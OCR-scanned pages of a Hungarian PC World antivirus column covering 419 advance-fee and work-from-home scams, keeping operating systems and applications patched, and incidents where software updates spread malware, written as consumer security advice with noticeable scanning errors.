VISZONT EZZEL KAPCSOLATBAN KET JO HiREM IS VAN:

Ezek az osszegek nehany szaz forintrol szolnak.
Ha atvernem, ennyit bukna el.
De milyen meglepo, nem ez fog torténni.

hanem egy teljesen mas csatornan keresztiil.

Olyannyira nem &atverés ez, hogy bevallom, azutdn hogy 6n atvette a munka csom%okat,
erdekelt vagyok abban is, hogy On elvegezze a kapott feladatot. _
En az On altal elvégzett munka utédn bevételt szerzek, de nem az On pénzébol lefaragva,

és penzt keresni.

Megkerem tehat, hogy gondolja at ajanlatomat. Ha semmit nem probal ki
meq esélyt sem ad maganak, hogy esetlegesen tényleg tudna otthon dolgozni,

Aki mar korbenézett a magyar tavmunkas-hirdetések kinalataban, az sirva fakad. Igazi munka
szinte nincs is, csak ilyenek, de ebhol aztan Dunat lehet rekeszteni. Ha a pénzkereset elso lé-
pése, hogy még mi fizessiink érte, jobb hagyni az egészet
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orszaghol, cserébe nekiink is juttat majd egy
részt beldle. Most azonban koltségek meriil-
tek fel, szamlanyitas, utazas stb., de ne csiig-
gedjink, hamarosan megérkeznek a milliok.
Aki fizet neki, az a spanyol fogoly szerinti vé-
get nem éré forgatokonyvre szamithat.
Hogyan térténik mindez manapsag? A 419-
ek folyamatosan tovabbi altipusokban olte-
nek testet: lottonyeremeény, orokség, allas-
hirdetés stb. Az atlagos veszteség fejen-
ként (becsapottanként) Amerikaban 15 ezer
és 200 ezer dollar kézé esik. Aztan ott van
még az internetes ismerkedés, ahol néhany
jol sikerdilt virtualis randi utan a varva vart
els6 személyes talalkozo varatlanul elma-
rad, és ,baleset”, egy csaldd tag hirtelen
.betegsége” vagy allitolagos halala felbo-
ritja a terveket, és a behizelgé modoru ,al-
dozat” anyagi elsdsegélyt kér az Gjdonsiilt
parjatol. A josziv( naivitds pedig itt igazi
ballépés, az alig ismert herceg fehér lovon
(vagy a kevéssé kiismert aranyhaju herceg-
n6) orokre eltlnik a kicsalt pénzzel, és bot-
tal Gthetjik a nyomat.

A megfelelé weboldalakon konnyen kapha-
tunk tovabbi izelit6t a csalasok széles spekt-
rumabél. Erkezik a megnyerd dalias idegen,
és elbvezet valamilyen romantikus mesét.
Nyertiink az e-mail lotton, amin nem is jat-
szottunk; egy elhunyt kiilfoldi rokonunk utan
tetemes orokség var rank, de felsorolni nem
is kell. A lényeg: ezek mindegyike felflizhe-
t6 a .kapsz sok pénzt, de elébb fizess te ne-
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» € aEAN ERTRACTORE
sve NOT ALLOWES

Figyelmeztetés egy nigériai internetka-
vézoban:,,419 mails, spam e-mail, e-mail
extractors are NOT ALLOWED”. Egyaltalan
nem véletlen, hogy minden asztal mellett log
egyilyen tabla

kiink egy keveset” voros fonalra. Boségesen
elég ezt megjegyezni, hisz a megjelenési for-
ma Ugyis minduntalan valtozni fog.

Magyar tavmunka-valdsag

Sirnivalé a kinalat, ha valaki sziikségbél vagy
elhatarozasbél otthonrél [is) szeretne dol-
gozni. Ez a valaszboritékos” hangulat belen-
gi az egészet, és sokszor még egy érdekld-
d6 e-mail utén is csak pudert, kodositést ka-
punk: az ,igazi” munkarol szold informaciot
majd késdbb, csak személyesen, csak Sky-
pe-on vagy pénzért aruljak el. Az atombom-
ba titkat, vagy a Kennedy-gyilkossag részle-
teit nem Grizték még ennyire. Van egy klasz-
szikus levélben véghezvitt csalds, amely gy
néz ki, hogy .Szeretne on kdnnyen, gyorsan
pénzt keresni, kevés munkaval, az otthona-
b6l? irjon nekiink, és egy felbélyegzett va-
laszboritékért plusz 900 forintért cserébe el-
kiildjlik a receptet, modszert.” Ha van egy kis
humorérzéke a csaldnak, akkor a visszakiil-
dott boritékban azt irhatja: ,Hat pontosan igy
kell csinalni, ez maga a maddszer, hirdess és
jon a sok 900 forint.” Ha emberiink hatul allt
a humorérzék osztogatasanal, akkor valészi-
n{, hogy semmilyen valaszt nem kapunk, és
természetesen a pénz is ellszik. Nem vélet-
lenazonban arelative csekély 6sszeg. Az ala-
csony dsszeg miatt mar eleve alacsony biin-
tetési tétel tartozik ehhez, illetve azt is felté-
telezik, hogy kevés pénz miatt senki nem fog
feljelentést tenni, évekig tarté pereskedés-
nek senki nem teszi ki majd magat - és gyak-
ran jol kalkulalnak ezzel a csalok.

Ma kezdodik életed hatralévo része
Sajnos olyan esetek is vannak, amelyek tragé-
didval végzddnek. Ezekben vagy valéban Nigé-
ridba csaljak személyesen az éldozatot, vagy
valamilyen masik, kevésbé biztonsagos or-
szagba, példaul Dél-Afrikaba vagy valamilyen
nyugat-afrikai teriletre kell utaznia. Itt aztan
az allitélagos ..igyvéd” helyett emberrablok ej-
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YN cem police have
Africa iaunched a major
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Egy tragikus eset: egy cseh nyugdijas 2003-
ban egy 419-es csalas miatti elkeseredé-
sében leldtte a pragai nigériai nagykovetet,
miutan tévesen tole akarta visszaszerezni
ismeretlen elkovetok altal kicsalt pénzét

tik tuszul, és ha a csaladja nem fizeti ki a valt-
sagdijat, rovid Uton ki is végzik. Tobb igy elhunyt
amerikai aldozatrél tudunk, a hirlk bejarta
a vildgsajtot. Ha az ember elég ilyen torténe-
tet megismer, és azt gondolja, mar semmilyen
meglepetés nem érheti, hiszen atlatja a szala-
kat. Az Elet, ez a nagy drasmester mégis eld
tud allni fantasztikus végkifejletekkel.

Nemcsak a becsapott aldozatok keriilhet-
nek bajba, és lehetnek tiszok vagy halottak
Nigéridba vagy Dél-Afrikaba utazva, de az
események sodraban elképesztéen véletlen
haldlesetek is eléfordulnak. Az egyik ilyen
egy cseh nyugdijasé, aki végsé elkeseredé-
sében agyonlétte a nigériai nagykévetség -
a pénze visszaszerzésében egyre csak te-
hetetlenségét hajtogaté - konzuljat. Az eldz-
mények: a 72 éves cseh férfi 2003-ban keriilt
bele egy 419-es csalasi sorozatbha, és mar
sok pénze banta, tehat szerette volna vissza-
szerezni azt. Ugy gondolta, a nigériai csalast
végzGk csakis nigériaiak lehetnek (ami ugye
lehetséges, de egyaltalan nem biztos, hiszen
az USA-bdl, és a volt Szovjetunié teriletérdl
is ezerszamra indulnak el dtjukra ilyen leve-
lek], ezért elment a pragai nigériai nagyko-
vetségre, és ott indulatosan a konzulon kérte
szamon az elvesztett pénzét. A szerencsét-
len diplomata sajnalkozd és mentegetd-
dz6 valaszat nem talalta kielégitének, ezért
pisztolyt rantott és lel6tte az akkor 50 esz-
tendds Michael Lekara Wayidot. A 16v6ld6zot
arenddrok letartdztattak, de ez mar nem ad-
tavissza sem egy artatlan ember életét, sem
a nyugdijas kicsalt pénzét.

Foglalkozasa: ,,419-es csalo”-szivato
Akit érdekel, 2006-ban késziilt egy igen érde-
kes film a spamrol ,.Spam, the Documentary”
cimmel. Az alkot6 lépésrol épésre igyekezett
felderiteni mindent: elkezdett valaszolgat-
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ni a spam levelekre, amelyekben az arucik-
keket Ugy hirdetik, azok egyenesen kijavitjak,
s6t tokéletesitik életlinket, és rendelt is a ter-
mékekbdl. Interjut készitett a spam ellen kiiz-
do szakemberekkel, de megprébalt felkutatni
egy igazi hus-vér spamterjesztot is.

De vannak, akik még ennél is tovabb men-
nek, és belevetik magukat a s(r(be, felveszik
a harcot: visszairnak a csaloknak, behalozzak
oket, és a sajat eszkozeikkel fosztjak ki vagy
teszik Gket nevetségessé. A tevékenység (z6i
szigortan alnéven, akar tobb parhuzamos ki-
talalt személyiséggel teszik ezt. Sarkany ellen
sarkanyfl valo, és néha rezeg a léc, mennyi-
re legélis vagy illegalis modszerekkel dolgozik
a hivatasos scambaiter, de hogy hatékonyan
teszi ezt, ahhoz mar nem fér semmi kétség.
Ujsagcikkeket, weboldalakat, banki igazolast
is hamisitanak a cél érdekében. Ha az ember
meg akarja védeni a baranyokat a farkas ellen,
neki maganak is kicsit farkasnak kell lennie -
ez az elv mozgatja a visszavagon ligykoddket.
Az érdekl6dok a mellékelt linkeken tovabbi te-
mérdek érdekes 419-es torténetet olvashat-
nak, amelyek szorakoztatdak és tanulsdgosak
egyszerre. Reméljiik, azért az utobbi fog job-
ban dominalni.

* %k

Kérjiik kedves olvasoinkat, ha a témaban kér-
désiik, hozzaszolasuk van, juttassék el hoz-

zank [velemeny@pcworld.hu).
Csizmazia Istvan, virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

Batka Zoltan, Inotai Edit:
Mai csalas, 6si triikk (Népszabadsag)

Spanyol fogoly triikk a miiltban és jelenben:
hopp.pcworld.hu/6659,
hopp.pcworld.hu/6660

Foglalkozasa csaldszivato:
hopp.pcworld.hu/6661

Diplomat shot dead in Prague:
hopp.pcworld.hu/6662

Az internetes csalasok alakulasa az USA-ban:
hopp.pcworld.hu/6663

Spam, The Documentary:
hopp.pcworld.hu/6664
419hell.com
www.419eater.com
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Topon maradni

Frissen tarto mechanizmusok
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Sorozatunk 31. részében arrol értekeziink, mit kell tenniink annak érdekében, hogy rendszeriink friss, vagyis
sebezhetetlen maradjon. Korabban (a 18., E, mint Exploit cimii fejezetben) mar jol kiveséztiik, hogy a ,,nulla-
dik napi”, frissen felfedezett, még javitassal nem rendelkezo hibak kivételével a mar ismert sériilékenységek
kihasznalasaval terjed a kartevok jelentos része.

ajon mekkora erdfeszitést kivan az
VOperéciés rendszer és a teljes mun-

kakdrnyezet naprakészen tartasa a
virusvédelmi programokkal dsszehasonlit-
va, ahol automatizalva zajlik mindez? Illetve
hogyan végzi, tdmogatja ezeket a Windows, a
Linux és a Macintosh platform? Cikkiinkben
végil szo lesz majd arrol is, mikor nem le-
hetséges, és mikor rejthet akar veszélyeket
is magaban a frissités.

Amit mindig frissiteni kell

Avirusirto, illetve internet security csoma-
goknak mar évek 6ta (lassan mar tobb mint
masfél évtizede) megvan az a j6 tulajdonsa-
guk, hogy automatikusan frissiilnek az in-
ternetr6l. Koradbban hetente, néhany na-
ponta, ma mar jellemzden legalabb naponta
egyszer, de jobbdara tébbszor torténik meg
mindez. Beadllitastol fliggden észre sem
vessziik, vagy csak egy informativ buborék
jelenik meg a Talcan néhany masodperc-
re, amihez nem sziikséges barmiféle teen-
d6, maximum a tudomasul vétel. Ezt a funk-
ciot inkabb csak letiltani lehet, bekapcsolni
nem is szlikséges, hiszen minden AV-rend-
szerben ez az alapértelmezett tulajdonsa-
ga: szolgal, és teszi a dolgat a hattérben
(és nem csak AV-termékek hasznaljak ezt a
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A Sugo — Frissitések keresése utvonalat
kell bejarnia annak, aki mindig a legesleg-
ujabb verziojat szeretné hasznalni a Firefox-
nak (a korabbi, még tamogatott fejlesztési
agak frissitése automatikusan torténik, ha
ezt beallitottuk). A Tiizréka sok tekintetben
kiemelkedik a versenytarsak koriil, de ittis
érdemes kobe vésni: 100 szazalékig bizton-
sagos hongészo nem létezik

Ao ESET Juidf f SEEUrIy

ESET

B2 vedetem sizpota

. Szémitogép ellendrzése
QQ suamiogep

® Virusdefinicios adatbazis frissitése

9 Sugo €s tamogatas

Megjetenités: Hozzaértd méd Maodositas..

Eethasznaidi felalet~ Besllitasokr Eszkozokw Sugow

0 A virusdefinicids adatbazis naprakész

0 Frissites Nem szukséges frissiteni - a virusdefinicios adatbazis naprakész.
;gt" Beslitasok 2 ~ApL

Felhasznalénéy és jelszo bedllitasa

Legutobbi sikeres frissités:
a i A vitusdefiniciés adatbizis vermigia: 4514 |

2010.01.28. 15:14:40

"EEd

[ Antivirus 2000 Downloading snd Instaing

ternet Security 2010 named ‘Best Buy’ by
RO 2553 14:28 ' Kaspersky Lab. a leading
acure content management solutions
t the UK magazine Computer Shapper has
ersky Internet Security 2010 its ‘Best Buy'

ivirus solution
AM - Thaipr net

R1 000 wines
as made history by selling 600 bottles of one of
000 each within three hours.

) ESET Smart Security

A virusdefinicios adatbazis frissitéze befejez6dett.
Uj verzié: 4814 (20100128)

we protect your digital worlds (= I

Egy olyan frissités, amivel nincs semmi probléma. A friss adatbazis mindig Ujabb kartevok
felismerését biztositja, maga a frissitési procedura pedig miikédo internetkapcsolat mellett

automatikusan zajlik

szisztémat). A licenc érvényes idGszakaban
van jogosultsagunk és technikai lehetdsé-
glink ezeket a frissitéseket igénybe venni.

»Amig te pihensz, valaki keményen
edz, hogy szétrugja a hatsddat...”

Ennyire nem rozsas a helyzet, ha az operaci-
0s rendszereket nézzlik, bar még mindig jobb,
mintha a teljes feltelepitett szoftverkdrnyezet
naprakészen tartasaval hasonlitanank dssze.
De nézziik el6szor az eldbbit. Kihasznalhaté

Igen sok sebezhetoséget rejtenek az Ado-
be szoftverek, am frissitési gyakorisaguk
sajnos nem elég siirii. A Flash-animaciokat
megjelenito FlashPlayer bongészokom-
ponenst idorol idore frissiteni kell, amikor
egy-egy ismertté valt tamadas tomegesen
lepi el a weboldalakat

sebezhetdség minden operacios rendszerben
létezik - aki ezt nem hiszi, az mélyedjen el ki-
csit @ milwOrm.org honlapjan vagy kovesse a
CanSecWest (cansecwest.com] verseny ese-
ményeit idorél idére, olvasson BuheraBlogot
(buhera.blog.hu) és hasonlé oldalakat.

Az nem is lehet kérdés, hogy rendszeriin-
ket muszaj frissiteni, frissen és napraké-
szen tartani, inkabb ennek technikai és id6-
beli nehézségei az érdekesek. Mi most el-
sdsorban a maganemberek, a hétkéznapi
felhasznaldk szemszogébdl vessziik mind-
ezt szemiigyre, de tovabb bonyolithatja a
helyzetet egy vallalati felhasznalas is, ame-
lyet eldtte tesztelni kell az uj, friss verzio-
val is, és csak ha minden hibatlanul miko-
dik, akkor lehet frissiteni. Mi most ezzel a
nehezité kérilménnyel nem foglalkozunk,
figyelmiink kdzéppontjaban egy hétkdznapi
felhasznalo all, aki tud és akar is frissite-
ni. Reméljiik, mindennem( hasonlosag vélt
vagy valos személyekkel nem kizarélag a
képzelet szlileménye!

Modszerek, eszk6zok, workaround
A vildgon legjobban elterjedt, verhetetlen
és megkerilhetetlen piaci szelettel ren-
delkezé platform a Windows. Ha hihetiink
a statisztikaknak, egyelére még mindig az
XP a legkedveltebb, de véarhatéan a Vis-
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Néhany nélkiilozhetetlen Firefox-kiegészito.
Az csak egy dolog, hogy telepitéskor rendre
megjelenik a,,Csak olyan szerzok kiegészi-
toit telepitse, akikben megbizik! (A szerzo
nem ellendrzott)” felirat. Am azt sem tud-
hatjuk, hogy az eleinte korrekt kod melyik
frissités utan mit csinal majd a gépiinkkel

ta kedvezétlen szerepét feledtetni igyek-
vo Windows 7 egy id6 utan atveheti majd az
els6 helyet. A sebezhet6ségekkel kapcso-
latos kérdés példaul ugy vetddhet fel, hogy
egy blin6zonek milyen payload shell kddot
érdemes egy preparalt PDF &llomanyba
rejtenie a weboldalan? Az egészen biztos,
hogy valamilyen tavoli kodfuttatast bizto-
sité kddot Windows operacios rendszerre,
hiszen kis tllzassal amerre néz, minden-
hol windowsos gépeket lat, ez éri meg ne-
ki. A kilonféle antivirus cégek havi toplis-
tadjan a Conficker féreg még mostanaban is
elékeld helyen szerepel, és ennek a gyen-
ge adminisztratori jelszo valasztasa, a kii-
lon misét megérd és a fertdzéseket segito
Autorun funkcid mellett jocskan kiveszi a
szerepét a be nem foltozott Windows rend-
szerek sokasaga.

Mit tud a Windows Automatikus Frissi-
tés és mit nem? A Windows eredetiségét

awgl

Lempaniitcenset= Bedlitisshe [ikoatd= Siade

Emlitettiik korabban, hogy a NOD32 és az
ESET Smart Security programok észlelik, ha
a Windows frissitések elmaradasban van-
nak. Emellett az antivirusnak a sajat haza ta-
janis soprogetnie kell, és jelezni, ha példaul
azinternetkapcsolat atmeneti hianya miatt
meghitsul a szignaturaletoltés

vizsgalo folyamat (WGA, Windows Genui-
ne Advantege) utan lehetéség van frissi-
tenia biztonsagijavitdsokat. Arendszeres
frissités rendre minden honap masodik
keddjén, az dgynevezett Patch Thuesday
napjan, azaz a foltozo kedden torténik, le-
szamitva a rendkivili, slirgds eseteket.
A biztonsagi frissitések elmaradasanak
szempontjabol sok a szik keresztmet-
szet: a felhasznalok értik-e a fentieket,
érdekli-e oket, legydzik-e a lustasagu-
kat, elég fontosnak tartjak-e, hogy meg-
tegyék, illetve aki tudatosan lopott kopiat
hasznal, az szandékoltan kerdli a licenc-
ellendrzést is kivalto frissitési folyama-
tot. A Windows-frissitések egy részéhez a
kdpia .szinétol” figgetlenil, a szlirkén at
az egyértelm(en lopott feketéig bezaré-
lag hozzaférhetlink ugyan, viszont a szin-
tén az exploitok célkeresztjében allé Mic-
rosoft Office-nal mar nem ez a helyzet.
Ott csak és kizardlag a legalis tgyfelek
tolthetik le a biztonsagi frissitéseket.

Software updates are available for your computer. Do you

want to install them?

The new software requires that you restart your computer now.

re being updated. A fist of Apple SLAs may be found here:

egalfsla

i Show Details !

£ Not Now \ (lnstall andRé'start“@

Van felugro frissités a Macintosh rendszereken is. Ez az 0S X-et és az Apple szoftvereket fi-
gyeli: iTunes, Safari, QuickTime stb. A hataskore azonban sajnos ezekkel ki is meriil. Emiatt ha
egyéb alkalmazast, segédprogramot szeretnénk ellendrizni, frissiteni, azt mind egyesével és

kézzel lehet csak elvégezni
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Csomagféjlok letdltése

A csomagfajlok egy helyi gyorsitétarba keriilnek a telepitéshez.
[ |

Letoltési sebesség: ismeretlen

[> Egyes fajlok allapotanak mutatésa;

Egy igazan kiforrott és szeretheto frissitési
megoldas Ubuntu Linuxon. A szoftverek tele-
pitése és eltavolitasa valoban pofonegysze-
rii, de a frissitések kezelése is példaértékii.
Arendszer minden telepitett alkalmazas
frissitését figyeli, aztan a felugro ablak-

ban egy gombnyomasra el is végezhetjiik
afrissitést, mikozben minden informaciot
részletesen megismerhetiink

Az ember vagy eloidézi, vagy meg-
oldja a problémat, kiilonben csak
szimpla tereptargy”

Vegyiik Ugy, hogy a Microsoft termékek folto-
zésa [Windows, Office) megoldddott a frissi-
tésekkel, de felvetddik ugyanakkor egy ma-
sik szempont: mi lesz a tobbi alkalmazoi
programmal? Nos, ezek kiilonb6z6 madon,
tobb-kevesebb sikerrel igyekeznek tudatni
veliink: emberek, itt a javitott, 0j verzio, ve-
gyétek és hasznaljatok. Van, ahol kézzel kell
a Sugd - Frissitések keresése meniipon-
tot hasznalni (példaul Mozilla Thunderbird,
SwishMax], van, ahol automatikusan érkezik
a figyelmeztetés a program inditasanal (pél-
daul CCleaner, Winamp), és van olyan szoft-
ver is, ahol nemcsak az ablak vagy a link jon,
hanem el6zékenyen el is indul maga a frissi-
tés (példaul Opera, uTorrent). Na és persze
elofordul olyan alkalmazas is, ahol a fentiek
egyike sem jelenik meg.

Ha csak egyszeris szamba vesszik, mennyi
és milyen programokat telepitettiink, rekla-
malnak-e ezek, hogy haladéktalanul fris-
sitstink, mennyi id6 telik el, amig magunk-
tol észrevessziik az Ujabbat, rajohetiink, ez
egyedil nem megy. Kéne valami segitség a
kdoszban valé eligazodashoz, menedzsel-
ni ezeket a kulcsfontossagu folyamatokat.
Ilyenkor jchet jol egy Secunia Personal Soft-
ware Inspector (hopp.pcworld.hu/3301), egy
SUMo (www.kcsoftwares.com) vagy egy Up-
dateStar (hopp.pcworld.hu/5291) program,
amelyek képesek levennivallunkrol a terhek
egy jelentds részét.

A harom megnevezett termék kozil talan
a legelsé a legjobb. Mind a Secunia online
vizsgalata, mind pedig a letolthetd program-
ja jol felkészilt a rendszeriink naprakészsé-
gének figyelésre, és sebezhetdségi adatba-
zisa mind frissességben, mind a széleskord
szoftver-lefedettségben bizalomkeltd.



Sok szoftver miikodik ugy, hogy maga figyeli
a sajat megjeleno frissitéseit, és figyelmez-
tet, ha Gjabb verzi6 all rendelkezésre. igy
biztosan eljut az lizenet a felhasznalohoz, és
a letdltés, valamint az upgrade folyamat is
egyszeriien, keresgélés nélkiil végezheto el

Linux-frissitések - én igy szeretlek
Semmilyen teret nem szanunk olyan med-
dé vitdnak, mint hogy melyik OS a legjobb -
ez amugy is feladatfiiggd, nincs ilyen boksz-
meccs. Viszont ha a frissitési procedurat vizs-
galjuk, télink az Ubuntu Linux kapna meg az
aranyérmet. Ennél egyszeriibb ugyanis mar
nem is lehetne. Egy gombnyomas (vagy be-
allitjuk, hogy automatikusan pattanjon fel egy
ablak, ha érkezik frissités) és egy [Enter] egy
adminjelszo utan, és maris naprakészen tud-
hatjuk az egész rendszert. Az is nagyon jo
pont, hogy mennyire informativ a folyamat -
pontosan tudhatjuk, mit hagyunk jova, mi fris-
siil, mi torténik. Nemcsak azt latjuk, hogy a
KB123456 nevii nagyon fontos frissités ké-
szen all, hanem kiilon keresgélés nélkiil is
tudjuk, mi ez, mit csinal, melyik szoftverhez
kapcsolodik, és ott a checkbox, donthetiink,
kérjlk-e egyaltalan.

Macintosh - tiizre, vizre vigyazunk

A fentiekhez hasonloképpen automatizalt
és kényelmes az 0S X frissitések jovetele
és kezelése is. Elfogad, adminjelszot beiit,
orul - ennyi. Ha azonban dsszevetjiik a Win-

- VIRUS ===

p@vmus
|P.4 TOTAL

ATOTAL ==

Jol latszik a két, egy hét kiilonbséggel el-
végzett VirusTotal vizsgalatnal, hogy ennyi
ido elteltével mennyivel tobb (6/41, illetve
16/41) virusirté motor képes mar detektalni
egy viszonylag friss kartevot

Virusok Varazslatos Vilaga

A Secunia Inspector figyel, figyelmeztet, és
az esetek nagyobb részében a letoltési lin-
keket is felajanlja, am egyesével manualisan
kell minden frissitést elvégezni. Néha azon-
ban még igy is kialakulhat kaotikus helyzet,
ha példaul 6-8 kiilonféle Java verzio is fent
van egy idoben

dows- és a Linux-frissitések tulajdonsaga-
ival, azt lathatjuk, hogy bar kényelmi szint-
je a Linuxéhoz hasonlit, de sok tekintetben
a Windows rendszerrel rokon. Sajnos nem
kényeztet el minket, van ugyan automatiku-
san felpattano ablak, de az ebben megjele-
no frissitések csak az Apple programjainak
frissen tartasat végzik: 0S X, iTunes, Safari,
Quick Time. A tovabbi alkalmazéi programo-
kat nekiink kell figyelni, és egyesével, manu-
alisan frissitgetni.

Amikor nem biztos, hogy nyeriink vele
Térjlink most mar vissza a Windowshoz. Aki
nem hasznal ki minden egyes Uj funkcionali-
tast az U] verzidkban, elhilve tapasztalhatja,
milyen hihetetlen tempdban hiznak az uj val-
tozatok. Néhany példa csak: a Nero 3 mére-
te anno még csak 1,8 MB volt, mara a Nero
9.4.26 mar 204 MB-ot foglal. Az Acrobat Rea-
der 2 még 1,4 megabajttal beérte, a 9.2-es Re-
ader mar kozel 25-6t kivan, de itt az iTunes 4.1,
ami csak 19,1 MB volt, ezzel szemben az iTu-
nes 9.0.2 mérete mar 93,6 MB. Es ne felejtsiik,
ezek még nem a merevlemezen elfoglalt he-
lyet, hanem csak a telepitécsomag nagysagat
jelentik.

Ha a frissités nem kotelezd, és elégedettek
vagyunk a hasznalt verzidval, akkor nem mu-
szaj ugyan frissiteni, persze ilyenkor a me-
revlemezen elfoglalt hely és az ismertté valt
sebezhetdségek néznek egymassal farkas-
szemet. Ha nem vallaljuk az 0j .fatware” te-
lepitését, akkor esetleg kereshetlink alter-
nativ megoldast: kisebb, gyorsabb, biztonsa-
gosabb, esetleg olcsobb vagy akar ingyenes
kivalté programot.

Amikor lehetetlen frissiteni
Egy példaval azt is illusztraljuk, amikor bar
megvan a jo szandék, és nem jelent kozvetlen

S 008

A Secunia a megfeleld allapotu, a frissi-
téstigénylo, és a tovabb nem fejlesztett
kategoriakat is megkiilonbozteti, valamint
asebezhetoségek veszélyessége szerint is
képes osztalyozni. Az évek ota nem fejlesz-
tett szoftverek esetében érdemes masik
helyettesitoé program utan nézni

szivszélh(idési veszélyt az Uj verzio merevle-
mezen elfoglalt tarhelye, mégsem tudjuk si-
keresen elvégezni a hén ahitott frissitést.
Ez lehet példaul a telepité hardverkdrnye-
zet vizsgalata. Esetiinkben a VMware Play-
er, az ingyenes virtualis gépkezeld szoftver-
re kapunk figyelmeztetést a Secunia PSI-tél,
egészen pontosan a ,Veszélyes szoftverek”
kozott szerepel a gépen talalhato 2.0.5 val-
tozat. A 3-4 éves celeronos gépen ez toké-
letesen eldolgozik, igaz, a kozben felfede-
zett biztonsagi rések problémakat okozhat-
nak (kodfuttatas, a host gép lefagyasztasa
stb.). Pontosan ezért kiséreljik meg a fris-
sitést a javasolt 3.0.0.203739 valtozatra. Az
csak egy dolog, hogy a telepités a korab-
bi verzié uninstallalasa nélkil nem is mi-
kodik, a csalédas azonban akkor kovetkezik
be, amikor kideril, ezen a hardveren ez az
0j verzio nem miikodoképes. Ekkor marad a
régi: hasznalni még lehet, de marad a komp-
romisszum, mégsem lesz mindeniink a leg-
frissebb, és igen, a géplink tartalmazni fog
tdmadhato, elavult programokat. Vagy me-
hetiink 0j szamitogépet venni, esetleg virtu-
alisgép programot cseréliink, és valtunk MS
Virtual PC-re vagy a Sun VirtualBoxra.

Talan mar érzékelhetd, hogy akkor sem egy-
szer( ez a frissitgetés, ha valaki tényleg min-
dent elkdvet. A kovetkezo havi fejezetlinkben
pedig arrol lesz majd szd, mikor rejthet akar
kozvetlen veszélyt egy frissités.

* % %

Kérjiik kedves olvasdinkat, ha a témaban kér-
désiik, hozzaszolasuk van, juttassék el hoz-

zank [velemeny@pcworld.hul).
Csizmazia Istvan,
virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu
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Amikor a frissités okozza a baijt

Frissen és fiatalosan

Virusok Varazslatos Vilaga

Sorozatunk el6zo részében arrdl beszélgettiink, mit kell tenniink annak érdekében, hogy rendszeriink friss,
vagyis sebezhetoségmentes maradjon. Most, a 32. epizédban arrél lesz majd szd, mikor rejthet magaban

veszélyeket a frissités.

korrektséghez hozzatartozik, hogy az
A ilyen frissitési balesetek viszonylag

ritkan fordulnak eld, de kétségkiviil Lé-
teznek, valds veszélyeket jelentenek, ha még-
oly ritkan is. Kdvetkezzenek az ilyen, mind a
felhasznald szempontjabol, mind pedig a ki-
bocsatd szempontjabdl kinos esetek.

2007. 08. 16.: Ubuntu ungabunga

Kordbban mar lattuk, hogy a tréjai progra-
mokkal vald megfertéz6dés egyik legfébb
oka a megbizhatatlan helyekrél valé letéltés.
2007. augusztus 16-an kiderdilt, hogy a Cano-
nical csoport anyagi tdmogatasaval fenntar-
tott nyolc Ubuntu fejleszt6i kiszolgalo koziil
ot fert6zottnek bizonyult. A szervereket on-
kéntes rendszergazdaknak kellett volna kar-
bantartani - erre azonban gyakorlatilag nem
kerilt sor. A vizsgélat soran a szerveren futé
mindegyik olyan szoftvert, amelynek a pontos
verzidszama egyaltalan megallapithatd volt,
biztonsagi szempontbdl elavultnak talaltak.
A nagy veszély abban allt, hogy ha a tdma-
dok esetleg hozzafértek volna a forraskodok-
hoz és a hivatalos binaris csomagokhoz (fut-
tathatd formara leforditott fajlok], sajat karté-
kony kddjaikkal észrevétleniil megtoldhattak
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Mar egy androidos program is leleplezodatt.
A Droid09 nevii szoftver a felhasznalok banki
adatait probalta megszerezni. Az Android
Marketplace kinalatabol azota eltavolitottak
az inkriminalt alkalmazast
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25. Mr. Add-on Developer - 2009-05-02 01:25 - *

Wiadimir,

I'm a developer of a popular Firefox Add-on, I'm posting this comment

anonymously.

A while ago I was contacted by a guy named Lee Lorenzen from a company called
Kallout, Inc. asking me if [ wanted to do all sorts of aggressive stuff with my
addon to promote their software. Other developers were contacted, too,

Did they contact you? 1 wonder if they convinced the NoScript guys to go along with

their plans.

I think this sort of seedy business is just going to increase as the browser becomes
the platform. The bigger the ecosystem the more room for bad actors.

It's blog posts like yours that bring it all to light. Thanks for writing it!

Reply from Wiadimir Palant:|

Erdekes levelezés az Adblock Plus féruman: ez tanusitja, hogy tobb Firefox addon-fejlesztot
megkereste mar egy Lee Lorenzen nevii uriember egy KallOut nevii cégtdl, és érdeklodott
arrél, hogy hajlandék lennének-e bizonyos ,,agressziv viselkedést” beépiteni a programjukba,
amellyel reklamoznak a megbizo szoftverét. Ok allitolag nemet mondtak, ami lehet, hogy igy
van, lehet, hogy nem, és ki tudja, még kiket kerestek meg, amirol pedig nem is tudunk

volna azokat, igy minden, a fert6zott szer-
vert hasznalé Ubuntut telepitd vagy azt frissi-
t6 gép megfertdzédhetett volna. Emiatt végil
az lizemeltet6k kénytelenek voltak a korabbi

60 minutes.
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Az Apple iTunes App Store-ban elvileg csak
szigoruan ellenorzott szoftverek lehetné-
nek. Van azonban precedens arrais, hogy
egy varatlan frissitéssel trojai funkciok is
belekeriilnek egy korabban biztonsagos al-
kalmazasba - ilyen volt példaul az iMobsters
vagy a Vampires Live. Amig az elso fecske le
nem leplezddik egy blogban vagy egy nyil-
vanos forumon, addig minden letolto vagy
frissito aldozatul eshet

datumu, biztosan tiszta mentéshdl visszaalli-
tani egy fertézetlen allapotot és ebbdl toltot-
ték fel végiil a szervereken tarolt tartalmakat.
(Forras: hopp.pcworld.hu/6831)

2008.02. 18.: Firefox 2.0 nyelvi pack
trojaival

Hogy ki melyik orszagba sziletik, és melyik
nyelv az anyanyelve, az szerencse kérdése.
Aki vietnami illetdségl, és ekkoriban letdl-
totte a Firefoxhoz vald vietnami nyelvi csoma-
got, az egy tréjait is kapott vele. (Forras: hopp.
pcworld.hu/6832)

2008. 05. 22.: avirusirto tiszta
allomanyokra riaszt

A virusirtok esetében az adatbazis-frissi-
tés az esetek 99,99 szézalékaban probléma-
mentesen zajlik. Ezzel egyltt minden gyarté
esetében eléfordult mar egy-egy hiba. Sajnos
ilyen eset mar veliink is megtortént, az ESET
a megszokott alapos ellendrzés dacara egy
olyan NOD32 szignaturafrissitést bocsatott
ki, amely a gépek egy részén furcsa dolgo-

2010. APRILIS | WWW.PCWORLD.HU | 51



Virusok Varazslatos Vilaga

¥ideo ActiveX Object Error.

) Yideo ActiveX Object Error:

| ‘four browser cannot display this viden file,
‘fou need to download new version of ¥ideo ActiveX
Cbject to play this video file,

Click Continue to download and install ActiveX Object.

concel | petis.._|

cortime |

Ez a torténet mar szinte szakallas. Felugrik
